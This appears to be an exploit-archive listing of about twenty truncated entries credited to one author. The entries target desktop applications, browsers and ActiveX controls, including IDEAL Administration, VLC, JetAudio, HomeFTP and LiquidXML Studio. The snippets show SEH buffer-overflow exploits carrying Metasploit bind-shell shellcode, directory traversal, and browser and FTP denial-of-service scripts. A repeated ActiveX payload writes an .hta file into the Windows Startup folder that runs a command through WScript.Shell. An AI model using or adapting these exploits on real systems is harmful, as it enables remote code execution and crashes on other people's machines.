IDEAL Administration 2011 11.4 - Local SEH Buffer Overflow Exploit

No description provided by source. !/usr/bin/env python IDEAL Administration 2011 v11.4 Local SEH Buffer Overflow Exploit Found By: DrIDE Usage: Migrate - Open Migration Project - Bind Shell Download: www.pointdev.com Tested On: Windows XPSP3 Notes: Another version, another exploit... come on guy...

VLC Media Player < 0.9.6 (CUE) Local Buffer Overflow PoC

No description provided by source. !/usr/bin/env python VLC Media Player 0.9.6 .CUE Buffer Overflow PoC Found By: DrIDE Tested On: XPSP3 head = \x46\x49\x4c\x45\x20\x22 buff = \x41 10000 foot = \x2e\x42\x49\x4e\x22\x20\x42\x49\x4e\x41\x52\x59\x0d\x0a\x20\x54...

IDEAL Administration 2010 10.2 - Local Buffer Overflow Exploit

No description provided by source. !/usr/bin/env python IDEAL Administration 2010 v10.2 Local Buffer Overflow Exploit Found By: DrIDE Usage: Migrate - Open Migration Project - Bind Shell Download: www.pointdev.com Tested On: Windows XPSP3 windows/shellbindtcp - 696 bytes Encoder: x86/alphamixed...

BigAnt Server 2.50 SP1 - (ZIP File) Local Buffer Overflow PoC

No description provided by source. !/usr/bin/env python BigAnt Server 2.50 SP1 Local Buffer Overflow PoC Found By: DrIDE Tested: XPSP3 Usage: Open BigAnt Console, Go to Update, Browse to zip, Boom. buff = \x41 10000 f1 = openBigAntUpdate.zip,w f1.writebuff f1.close milw0rm.com 2009-09-16...

miniwebsvr 0.0.10 - Directory Traversal/Listing Exploits

No description provided by source. miniwebsvr v0.0.10 Directory Traversal/Listing Exploits Found By: DrIDE Date: May 12, 2010 Download: http://sourceforge.net/projects/miniwebsvr/ Tested on: Windows 7 - Description - miniwebsvr v0.0.10 is a Windows based HTTP server. This is the latest version of...

IDEAL Administration 2009 9.7 - Local Buffer Overflow Exploit

No description provided by source. !/usr/bin/env python IDEAL Administration 2009 v9.7 Local Buffer Overflow Exploit Found By: DrIDE Usage: Migrate - Open Migration Project - Bind Shell Download: www.pointdev.com Tested On: Windows XPSP3 windows/shellbindtcp - 696 bytes Encoder: x86/alphamixed...

A-PDF WAV to MP3 1.0.0 - Universal Local SEH Exploit

No description provided by source. !/usr/bin/env python Title: A-PDF WAV to MP3 v1.0.0 Universal Local SEH Exploit Exloit By: DrIDE Tested On: XPSP3 Date: August 18, 2010 Download: http://www.brothersoft.com/a-pdf-wav-to-mp3-converter-394393.html Reference: http://www.exploit-db.com/exploits/1467...

INMATRIX Zoom Player Pro <= 6.0.0 (.MID) Integer Overflow PoC

No description provided by source. !/usr/bin/env python INMATRIX Zoom Player Pro = 6.0.0 .MID Integer Overflow PoC Found By: DrIDE Credits: Platen Tested: verified on v 5.0.2 and 6.0.0 on XP SP3 Download: http://www.inmatrix.com MIDI Structure must be accurate buff =...

HomeFTP Server r1.10.3 (build 144) Denial of Service Exploit

No description provided by source. !/usr/bin/python HomeFTP Server r1.10.3 build 144 Denial of Service Exploit Found By: DrIDE Date: May 28, 2010 Download: http://downstairs.dnsalias.net/products.html Tested: Windows 7 import socket, sys host = sys.argv1 buff = A 5000 cmds = 'SITE INDEX' s =...

history.go() DoS on multiple browsers

No description provided by source. -- Camino 2.0.2 history.go DoS Found By: DrIDE Tested On: Camino 2.0.2 on OSX 10.6.3 Notes: Impact is reduced because user must either have popup blocker off, or accept popups. Tested On: Safari 4.0.5 on OSX 10.6.3 Notes: Impact is reduced because user must eith...

Webkit (Safari 4.0.5) - Blink Tag Stack Exhaustion DoS

No description provided by source. html script loop1; var a = blink; function loop1 document.writea; setIntervalloop2,0; function loop2 document.writea; setIntervalloop1,0; /script body Webkit Safari Stack Exhaustion DoS Found By: DrIDE Credit To: Mattias Karlsson Reference:...

JetAudio 7.1.9.4030 (.m3u) - Universal Stack Overflow Exploit (SEH)

No description provided by source. !/usr/bin/env python JetAudio 7.1.9.4030 Universal Stack Overflow Exploit SEH Coded By: DrIDE Found By: HACK4LOVE Tested on Windows XP SP2 windows/exec - 303 bytes http://www.metasploit.com Encoder: x86/alphaupper EXITFUNC=seh, CMD=calc sc =...

LiquidXML Studio 2012 - ActiveX Insecure Method Executable File Creation

var sofa = "..\..\..\..\..\..\..\..\..\Documents and Settings\All Users\Start Menu\Programs\Startup\thedoctorisin.hta"; var king = "Oh noz, Look what DrIDE did... var x=new ActiveXObject"WScript.Shell"; x.Exec"CALC.EXE"; "; target.OpenFilesofa,1; target.AppendStringking; LiquidXML...

LiquidXML Studio 2012 Active-X File Creation

var sofa = "..\..\..\..\..\..\..\..\..\Documents and Settings\All Users\Start Menu\Programs\Startup\thedoctorisin.hta"; var king = "Oh noz, Look what DrIDE did... var x=new ActiveXObject"WScript.Shell"; x.Exec"CALC.EXE"; "; target.OpenFilesofa,1; target.AppendStringking; LiquidXML...

LiquidXML Studio 2012 ActiveX Insecure Method Executable File Creation 0-day

Exploit for windows platform in category local exploits var sofa = "..\..\..\..\..\..\..\..\..\Documents and Settings\All Users\Start Menu\Programs\Startup\thedoctorisin.hta"; var king = "Oh noz, Look what DrIDE did... var x=new ActiveXObject"WScript.Shell"; x.Exec"CALC.EXE"; ";...

LiquidXML Studio 2010 Active-X File Creation

var sofa = "..\..\..\..\..\..\..\..\..\Documents and Settings\All Users\Start Menu\Programs\Startup\thedoctorisin.hta"; var king = "Oh noz, Look what DrIDE did... var x=new ActiveXObject"WScript.Shell"; x.Exec"CALC.EXE"; "; target.OpenFilesofa,1; target.AppendStringking; LiquidXML...

Mitsubishi MX ActiveX Component v3 (ActUWzd.dll (WzTitle)) - Remote Exploit

Exploit for windows platform in category remote exploits //Payload is a windows/bindshell that is spawned on LPORT=5500 shellcode =...

LiquidXML Studio 2010 - ActiveX Code Execution

LiquidXML Studio 2010 - ActiveX Code Execution var sofa = "..\..\..\..\..\..\..\..\..\Documents and Settings\All Users\Start Menu\Programs\Startup\thedoctorisin.hta"; var king = "Oh noz, Look what DrIDE did... var x=new ActiveXObject"WScript.Shell"; x.Exec"CALC.EXE"; ";...

LiquidXML Studio 2012 - ActiveX Insecure Method Executable File Creation

LiquidXML Studio 2012 - ActiveX Insecure Method Executable File Creation var sofa = "..\..\..\..\..\..\..\..\..\Documents and Settings\All Users\Start Menu\Programs\Startup\thedoctorisin.hta"; var king = "Oh noz, Look what DrIDE did... var x=new ActiveXObject"WScript.Shell";...

LiquidXML Studio 2010 ActiveX Remote 0-day

Exploit for windows platform in category local exploits var sofa = "..\..\..\..\..\..\..\..\..\Documents and Settings\All Users\Start Menu\Programs\Startup\thedoctorisin.hta"; var king = "Oh noz, Look what DrIDE did... var x=new ActiveXObject"WScript.Shell"; x.Exec"CALC.EXE"; ";...